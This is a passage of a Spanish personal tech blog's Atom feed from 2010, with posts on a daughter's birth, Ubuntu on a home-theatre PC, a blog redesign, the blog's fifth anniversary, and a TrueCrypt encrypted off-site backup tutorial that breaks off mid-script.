&lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=EZUZ9G16jQ8:vWvxpetNrVw:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=EZUZ9G16jQ8:vWvxpetNrVw:I9og5sOYxJI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=I9og5sOYxJI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=EZUZ9G16jQ8:vWvxpetNrVw:ecdYMiMMAMM"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=ecdYMiMMAMM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=EZUZ9G16jQ8:vWvxpetNrVw:czBxSBonZpw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=czBxSBonZpw" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=EZUZ9G16jQ8:vWvxpetNrVw:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=EZUZ9G16jQ8:vWvxpetNrVw:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=EZUZ9G16jQ8:vWvxpetNrVw:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=EZUZ9G16jQ8:vWvxpetNrVw:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=EZUZ9G16jQ8:vWvxpetNrVw:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=EZUZ9G16jQ8:vWvxpetNrVw:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BlogDeIvanLopez/~4/EZUZ9G16jQ8" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://lopezivan.blogspot.com/feeds/7130804383416500963/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://lopezivan.blogspot.com/2010/07/ha-nacido-adriana.html#comment-form" title="3 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/7130804383416500963?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/7130804383416500963?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BlogDeIvanLopez/~3/EZUZ9G16jQ8/ha-nacido-adriana.html" title="¡Ha nacido Adriana!" /><author><name>Iván</name><uri>http://www.blogger.com/profile/00333291545491221453</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://farm1.static.flickr.com/209/523303390_db540d4386_o.png" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh5.ggpht.com/_z1x0O4Pd0Sk/TEG74L8znhI/AAAAAAAABPI/nLU3PscWV1c/s72-c/Adriana.jpg" height="72" width="72" /><thr:total>3</thr:total><feedburner:origLink>http://lopezivan.blogspot.com/2010/07/ha-nacido-adriana.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C04DQ3g-eyp7ImA9WxFbGE0.&quot;"><id>tag:blogger.com,1999:blog-12666448.post-383101598400166285</id><published>2010-07-01T16:40:00.003+02:00</published><updated>2010-07-11T00:46:12.653+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-07-11T00:46:12.653+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="HTPC" /><category scheme="http://www.blogger.com/atom/ns#" term="Ubuntu" /><title>Ubuntu en el HTPC. ¡Ahora sí!</title><content type="html">&amp;nbsp;&amp;nbsp;&amp;nbsp;Hace prácticamente un año que escribí el artículo &lt;a href="http://lopezivan.blogspot.com/2009/07/htpc-para-el-salon.html"&gt;HTPC para el salón&lt;/a&gt;. En él comentaba que había montado un HTPC y que le había instalado Windows XP, pero que había dejado una partición para Linux. Además, probé un live-cd de Ubuntu pero no me llegó a ir del todo bien y al final lo fui dejando pasar. &lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Resulta, que como siempre pasa en Windows con el paso del tiempo, el sistema se va degradando y deja de funcionar. Es algo que me extrañó porque en el HTPC no instalaba nada, sólo lo mínimo imprescindible para funcionar y para que el ordenador arrancase rápido. Aún así, hace unos 3-4 meses empezó a resetearse de vez en cuando sin motivo aparente. Así que cogí un live-cd de Ubuntu 9.10, lo instalé y me puse a configurarlo. Después de pegarme bastante, al final logré dejar todo funcionando, incluso sacando el audio por la salida óptica enganchada al ampli en 5.1 :-D. Luego, después de que saliera Ubuntu 10.04, formatee, instalé todo de cero y configuré de nuevo (esta vez fue todo más rápido y sencillo).&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Después de llevar utilizando Ubuntu como media center estos últimos meses he de decir que no tiene nada que envidiar a Windows. Todos los codecs funcionan, el audio en 5.1 sin problemas e incluso la aceleración de videos en HD, algo que cuando arrancaba con windows nunca fui capaz de conseguir. Pero esto tendrá que esperar a la siguiente entrada...&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Actualización: &lt;/b&gt;Como dice &lt;i&gt;luischenco&lt;/i&gt; en los comentarios, ni siquiera he contado el software que estoy utilizando. La verdad es que no estoy utilizando ninguno!. Me explico. He probado XBMC y Boxee y ninguno me ha terminado de convencer. Sí, son muy bonitos y están muy bien hechos, pero no son para mi. Yo el htpc lo utilizo como "almacen temporal" de pelis y series, no las guardo para siempre, por lo que no necesito tener las carátulas, la sinopsis, la información de los actores,... Como he dicho, es muy chulo, pero nada más. En el htpc no tengo música, ni fotos y nada más, sólo series y pelis (y dibus para &lt;a href="http://judithlopezb.blogspot.com/"&gt;Judith&lt;/a&gt;), por lo que todo eso no me aporta nada.&lt;br /&gt;El software que utilizo: 3 accesos directos en el escritorio a las pelis, series y dibujos, y luego doble-clic en el archivo que quiero abrir, así de sencillo. Por defecto se abre con VLC y si quiero aceleración hardware lo lanzo con mplayer desde línea de comandos. Así de simple.&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=u_NdHpls-yw:yiG5Fp7d5QU:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=u_NdHpls-yw:yiG5Fp7d5QU:I9og5sOYxJI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=I9og5sOYxJI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=u_NdHpls-yw:yiG5Fp7d5QU:ecdYMiMMAMM"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=ecdYMiMMAMM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=u_NdHpls-yw:yiG5Fp7d5QU:czBxSBonZpw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=czBxSBonZpw" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=u_NdHpls-yw:yiG5Fp7d5QU:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=u_NdHpls-yw:yiG5Fp7d5QU:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=u_NdHpls-yw:yiG5Fp7d5QU:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=u_NdHpls-yw:yiG5Fp7d5QU:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=u_NdHpls-yw:yiG5Fp7d5QU:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=u_NdHpls-yw:yiG5Fp7d5QU:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BlogDeIvanLopez/~4/u_NdHpls-yw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://lopezivan.blogspot.com/feeds/383101598400166285/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://lopezivan.blogspot.com/2010/07/ubuntu-en-el-htpc-ahora-si.html#comment-form" title="5 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/383101598400166285?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/383101598400166285?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BlogDeIvanLopez/~3/u_NdHpls-yw/ubuntu-en-el-htpc-ahora-si.html" title="Ubuntu en el HTPC. ¡Ahora sí!" /><author><name>Iván</name><uri>http://www.blogger.com/profile/00333291545491221453</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://farm1.static.flickr.com/209/523303390_db540d4386_o.png" /></author><thr:total>5</thr:total><feedburner:origLink>http://lopezivan.blogspot.com/2010/07/ubuntu-en-el-htpc-ahora-si.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkEBSHc8fSp7ImA9WxFUEEo.&quot;"><id>tag:blogger.com,1999:blog-12666448.post-6003046508472257513</id><published>2010-06-20T23:50:00.000+02:00</published><updated>2010-06-20T23:50:59.975+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-06-20T23:50:59.975+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Blog" /><title>Nuevo diseño del blog</title><content type="html">&amp;nbsp;&amp;nbsp;&amp;nbsp;Estaba dispuesto esta noche a preparar un par de artículos que tenía pendientes desde hace tiempo pero al conectarme a blogger he visto que hay una opción nueva para cambiar el diseño del blog. He estado haciendo unas cuantas pruebas y el resultado es el que podéis ver. &lt;br /&gt;&lt;br&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_z1x0O4Pd0Sk/TB6M8_2dFvI/AAAAAAAABOs/lkoZUtwMSM0/s1600/NuevaPlantillaBlog.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 256px;" src="http://1.bp.blogspot.com/_z1x0O4Pd0Sk/TB6M8_2dFvI/AAAAAAAABOs/lkoZUtwMSM0/s400/NuevaPlantillaBlog.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5484976375743715058" /&gt;&lt;/a&gt;&lt;br /&gt;El nuevo diseñador es muy sencillo y fácil de utilizar, permite cambiar muchas opciones de la plantilla e incluso añadir nuestros propios de css sin tener que tocar el código para nada. &lt;br /&gt;Además, también he estado retocando los widgets laterales, añadiendo el track de google analytics y poco más, en muy poco tiempo el blog ha quedado listo y con un lavado de cara que venía postponiendo desde hacía ya demasiado tiempo.&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;En fin, tendré que dejar los artículos para otro día...&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=c8Yr1H-B9f0:ZIU6wi-7-xI:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=c8Yr1H-B9f0:ZIU6wi-7-xI:I9og5sOYxJI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=I9og5sOYxJI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=c8Yr1H-B9f0:ZIU6wi-7-xI:ecdYMiMMAMM"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=ecdYMiMMAMM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=c8Yr1H-B9f0:ZIU6wi-7-xI:czBxSBonZpw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=czBxSBonZpw" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=c8Yr1H-B9f0:ZIU6wi-7-xI:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=c8Yr1H-B9f0:ZIU6wi-7-xI:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=c8Yr1H-B9f0:ZIU6wi-7-xI:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=c8Yr1H-B9f0:ZIU6wi-7-xI:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=c8Yr1H-B9f0:ZIU6wi-7-xI:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=c8Yr1H-B9f0:ZIU6wi-7-xI:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BlogDeIvanLopez/~4/c8Yr1H-B9f0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://lopezivan.blogspot.com/feeds/6003046508472257513/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://lopezivan.blogspot.com/2010/06/nuevo-diseno-del-blog.html#comment-form" title="7 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/6003046508472257513?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/6003046508472257513?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BlogDeIvanLopez/~3/c8Yr1H-B9f0/nuevo-diseno-del-blog.html" title="Nuevo diseño del blog" /><author><name>Iván</name><uri>http://www.blogger.com/profile/00333291545491221453</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://farm1.static.flickr.com/209/523303390_db540d4386_o.png" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_z1x0O4Pd0Sk/TB6M8_2dFvI/AAAAAAAABOs/lkoZUtwMSM0/s72-c/NuevaPlantillaBlog.jpg" height="72" width="72" /><thr:total>7</thr:total><feedburner:origLink>http://lopezivan.blogspot.com/2010/06/nuevo-diseno-del-blog.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkUAQXwzeip7ImA9WxFQEEk.&quot;"><id>tag:blogger.com,1999:blog-12666448.post-5403191401770948425</id><published>2010-05-05T09:24:00.000+02:00</published><updated>2010-05-05T09:24:00.282+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-05-05T09:24:00.282+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Blog" /><title>Quinto aniversario del blog</title><content type="html">&amp;nbsp;&amp;nbsp;&amp;nbsp;Cómo pasa el tiempo... han pasado ya &lt;b&gt;cinco años&lt;/b&gt; desde que escribir &lt;a href="http://lopezivan.blogspot.com/2005/05/mi-primer-post.html"&gt;mi primer post&lt;/a&gt; en el que ponía dos escuetas líneas y poco más. &lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Al principio el blog empezó siendo un cajón desastre en el que contaba lo que se me pasaba por la cabeza, comentaba noticias que había leído,... en fin, un blog personal a todos los efectos, sin temática definida y sin mucho que aportar. Así fueron saliendo posts como una película de Star Wars hecha por aficionados: &lt;a href="http://lopezivan.blogspot.com/2005/07/star-wars-revelations.html"&gt;Star Wars Revelations&lt;/a&gt;, el alta de mi cuenta nómina de ING (que todavía sigo utilizando): &lt;a href="http://lopezivan.blogspot.com/2005/10/cuenta-nmina-de-ing.html"&gt;Cuenta Nómina de ING&lt;/a&gt;, un regalo de cumpleaños tecnológico: &lt;a href="http://lopezivan.blogspot.com/2005/12/mi-regalo-de-cumpleaos.html"&gt;Mi regalo de cumpleaños&lt;/a&gt;. Luego vinieron otros post con unas estadísticas (miserables) de visitas al blog: &lt;a href="http://lopezivan.blogspot.com/2006/01/estadsticas.html"&gt;Estadísticas&lt;/a&gt;, mi título de Ingeniero en Informática: &lt;a href="http://lopezivan.blogspot.com/2006/05/ya-soy-ingeniero.html"&gt;Ya soy ingeniero...&lt;/a&gt;, el que creo que fue mi primer post técnico de verdad sobre apache y tomcat: &lt;a href="http://lopezivan.blogspot.com/2006/07/apache-tomcat-redireccin-ocultamiento.html"&gt;Apache + Tomcat + Redirección + Ocultamiento de puertos&lt;/a&gt;, el flasheo de un router linksys &lt;a href="http://lopezivan.blogspot.com/2007/01/dd-wrt-en-linksys.html"&gt;DD-WRT en Linksys&lt;/a&gt; que Fon me vendió por 1€+IVA: &lt;a href="http://lopezivan.blogspot.com/2006/07/punto-de-acceso-fon.html"&gt;Punto de acceso Fon&lt;/a&gt; y un largo etcétera.&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Así llegamos al que fue el punto de inflexión en el blog y en su temática. El artículo sobre el &lt;a href="http://lopezivan.blogspot.com/2007/03/raid-1-en-linux.html"&gt;Raid 1 en Linux&lt;/a&gt;. Este artículo marcó un antes y un después puesto que llegó a portada de Barrapunto: &lt;a href="http://lopezivan.blogspot.com/2007/03/el-efecto-barrapunto.html"&gt;El efecto Barrapunto&lt;/a&gt;. A partir de ahí las visitas comenzaron a subir y me sirvió para que el blog se conociera algo más. Desde entonces fijé una temática técnica y salvo casos muy puntuales creo que la he mantenido.&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Desde entonces, surgieron artículos como el de mi nuevo PC: &lt;a href="http://lopezivan.blogspot.com/2007/04/nuevo-ordenador.html"&gt;Nuevo ordenador&lt;/a&gt;, la migración desde windows a linux: &lt;a href="http://lopezivan.blogspot.com/2007/05/migracin-linux.html"&gt;Migración a Linux&lt;/a&gt;, pruebas con el API de Google Calendar para enviarme SMS al móvil: &lt;a href="http://lopezivan.blogspot.com/2007/05/usando-el-api-de-google-calendar.html"&gt;Usando el API de Google Calendar: Alarmas por SMS&lt;/a&gt;. El blog también ha visto nacer a mi primera hija, &lt;a href="http://judithlopezb.blogspot.com/"&gt;Judith&lt;/a&gt;: &lt;a href="http://lopezivan.blogspot.com/2007/06/he-sido-padre.html"&gt;He sido padre...&lt;/a&gt;, "brickee" y arreglé una fonera: &lt;a href="http://lopezivan.blogspot.com/2007/07/fonera-brickeada.html"&gt;Fonera Brickeada...&lt;/a&gt; e incluso oculté la ventana que aparece cuando bloqueamos un equipo windows: &lt;a href="http://lopezivan.blogspot.com/2007/10/ocultar-la-ventana-de-equipo-bloqueado.html"&gt;Ocultar la ventana de "Equipo Bloqueado" en Window...&lt;/a&gt;.&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Posteriormente llegaron dos artículos más que también fueron portada de Barrapunto. &lt;a href="http://lopezivan.blogspot.com/2008/02/monitorizando-sistemas-con-nagios.html"&gt;Monitorizando sistemas con Nagios&lt;/a&gt; y &lt;a href="http://lopezivan.blogspot.com/2008/03/raid-1-en-un-sistema-ya-instalado.html"&gt;Raid 1 en un sistema ya instalado&lt;/a&gt;. Recordamos cómo era la informática hace unos cuantos años (no tantos): &lt;a href="http://lopezivan.blogspot.com/2008/04/la-informtica-de-antao.html"&gt;La informática de antaño&lt;/a&gt;, Judith dijo sus primeras palabras frikis: &lt;a href="http://lopezivan.blogspot.com/2009/04/los-comienzos-de-un-friki-los-21-meses.html"&gt;Los comienzos de un friki... a los 21 meses&lt;/a&gt;, me puse a programar con GWT: &lt;a href="http://lopezivan.blogspot.com/2009/05/mufly-contabilidad-domestica-programada.html"&gt;Mufly: Contabilidad doméstica programada en GWT&lt;/a&gt; e incluso monté un HTPC como centro multimedia en el salón: &lt;a href="http://lopezivan.blogspot.com/2009/07/htpc-para-el-salon.html"&gt;HTPC para el salón&lt;/a&gt;.&lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;¿Y a partir de ahora qué?. Pues tal vez ir a por otros cinco años más. No sé cómo irá evolucionando el asunto ya que es cierto que ya no tengo tanto tiempo libre como antes y eso se nota en el ritmo de publicación, pero lo que tengo claro es que el blog sigue y seguirá abierto.&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=7UFuTT3XAPE:vuogb7pnmA4:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=7UFuTT3XAPE:vuogb7pnmA4:I9og5sOYxJI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=I9og5sOYxJI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=7UFuTT3XAPE:vuogb7pnmA4:ecdYMiMMAMM"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=ecdYMiMMAMM" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=7UFuTT3XAPE:vuogb7pnmA4:czBxSBonZpw"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?d=czBxSBonZpw" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=7UFuTT3XAPE:vuogb7pnmA4:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=7UFuTT3XAPE:vuogb7pnmA4:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=7UFuTT3XAPE:vuogb7pnmA4:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=7UFuTT3XAPE:vuogb7pnmA4:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?a=7UFuTT3XAPE:vuogb7pnmA4:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/BlogDeIvanLopez?i=7UFuTT3XAPE:vuogb7pnmA4:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BlogDeIvanLopez/~4/7UFuTT3XAPE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://lopezivan.blogspot.com/feeds/5403191401770948425/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://lopezivan.blogspot.com/2010/05/quinto-aniversario-del-blog.html#comment-form" title="7 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/5403191401770948425?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/12666448/posts/default/5403191401770948425?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BlogDeIvanLopez/~3/7UFuTT3XAPE/quinto-aniversario-del-blog.html" title="Quinto aniversario del blog" /><author><name>Iván</name><uri>http://www.blogger.com/profile/00333291545491221453</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://farm1.static.flickr.com/209/523303390_db540d4386_o.png" /></author><thr:total>7</thr:total><feedburner:origLink>http://lopezivan.blogspot.com/2010/05/quinto-aniversario-del-blog.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CU8FRnw-fSp7ImA9WxBUGUg.&quot;"><id>tag:blogger.com,1999:blog-12666448.post-1356374362852907853</id><published>2010-03-07T10:23:00.001+01:00</published><updated>2010-03-07T10:23:37.255+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-03-07T10:23:37.255+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Truecrypt" /><category scheme="http://www.blogger.com/atom/ns#" term="Linux" /><category scheme="http://www.blogger.com/atom/ns#" term="Backup" /><title>Backups off-site cifrados truecrypt</title><content type="html">&amp;nbsp;&amp;nbsp;&amp;nbsp;En todos los proyectos hay distintas etapas. Primero te das cuenta de que la forma de realizar los backups es poco óptima y segura y decides que sería mejor tener &lt;a href="http://lopezivan.blogspot.com/2007/03/raid-1-en-linux.html"&gt;un raid 1&lt;/a&gt; para protegerte de los fallos en disco. Un tiempo después empiezas a pensar que eso está muy bien, pero qué ocurre si te roban el ordenador (con sus 2 discos del raid), se incendia, inunda o viene un tornado y te quedas sin casa. Pues que has perdido todos tus preciados datos. En ese momento piensas en un &lt;a href="http://en.wikipedia.org/wiki/Off-site_data_protection"&gt;backup off-site&lt;/a&gt;, es decir, fuera de tu casa. Hay muchos servicios online, pero cuando tienes cientos de gigas de información que almacenar, pueden suponer muchos euros al mes.&lt;br /&gt;Al final, una solución puede ser hacer el backup a un disco externo y llevar ese disco a otro sitio: la oficina, la casa de tus padres,... y cada cierto tiempo traerlo a casa, sincronizar los datos pendientes y volverlo a llevar. Pero, ¿qué ocurre si ese disco externo se pierde o roban en casa de tus padres?, que todo el mundo vería tu información. La solución para esto, el &lt;b&gt;cifrado&lt;/b&gt;. &lt;br /&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Así es cómo lo voy a hacer. Tengo un disco duro de 120 GB que usaba antes de &lt;a href="http://lopezivan.blogspot.com/2008/10/ampliando-un-raid-1-en-linux.html"&gt;ampliar el raid&lt;/a&gt; y que ahora tengo en una caja externa usb. Para el cifrado, utilizo &lt;a href="http://www.truecrypt.org/"&gt;Truecrypt&lt;/a&gt;, del que ya he hablado varias veces y que me parece una solución estupenda.&lt;br /&gt;&lt;li&gt;Creamos el dispositivo cifrado. En lugar de crear un archivo .tc voy a cifrar toda la partición. Nos pedirá que seleccionemos los algoritmos, que introduzcamos una clave y que "aporreemos" el teclado para generar las claves con cierta aleatoriedad. No elegimos sistema de archivos puesto que sólo podemos escoger FAT y nosotros formatearemos posteriormente a ext3. Este proceso puede durar mucho tiempo en función del tamaño del disco, en mi caso fueron unas dos horas.&lt;pre&gt;shian:~# truecrypt -c /dev/sda1&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;Una vez finalizado el proceso, montamos el volumen cifrado indicando que no tiene filesystem.&lt;br /&gt;&lt;pre&gt;shian:~# truecrypt --filesystem=none /dev/sda1 /mnt/ext_backup&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;Vemos dónde se ha mapeado el dispositivo y lo formateamos. &lt;b&gt;Ojo&lt;/b&gt; no hay que elegir /dev/sda1 puesto que sino sobreescribiríamos el volumen cifrado y tendríamos que empezar de nuevo.&lt;pre&gt;shian:~# truecrypt -l   &lt;br /&gt;1: /dev/sda1 /dev/mapper/truecrypt1&lt;br /&gt;&lt;br /&gt;shian:~# mkfs.ext3 /dev/mapper/truecrypt1&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;Desmontamos el volumen y lo montamos en su ubicación definitiva con el sistema de archivos ya creado. Ahora ya podríamos empezar a copiar todos nuestros datos en él.&lt;br /&gt;&lt;pre&gt;shian:~# truecrypt -d /dev/sda1&lt;br /&gt;&lt;br /&gt;shian:~# trucrypt /dev/sda1 /mnt/ext_backup&lt;br /&gt;&lt;br /&gt;shian:~# df -h&lt;br /&gt;S.ficheros               Tamaño Usado  Disp Uso% Montado en&lt;br /&gt;/dev/mapper/truecrypt1   113G   17G   91G  16% /mnt/ext_backup&lt;/pre&gt;&lt;/li&gt;&lt;li&gt;Para la sincronización he hecho un script muy sencillo con rsync que copia los datos de la partición del raid donde los deja el &lt;a href="http://lopezivan.blogspot.com/2007/05/rsync-vs-backuppc-vs-link-backup.html"&gt;proceso de backup&lt;/a&gt; al volumen cifrado. Sólo muestro dos directorios, pero el comando es el mismo para todos.&lt;pre&gt;#!/bin/bash&lt;br /&gt;echo "Asegurate de que esté montado el volumen 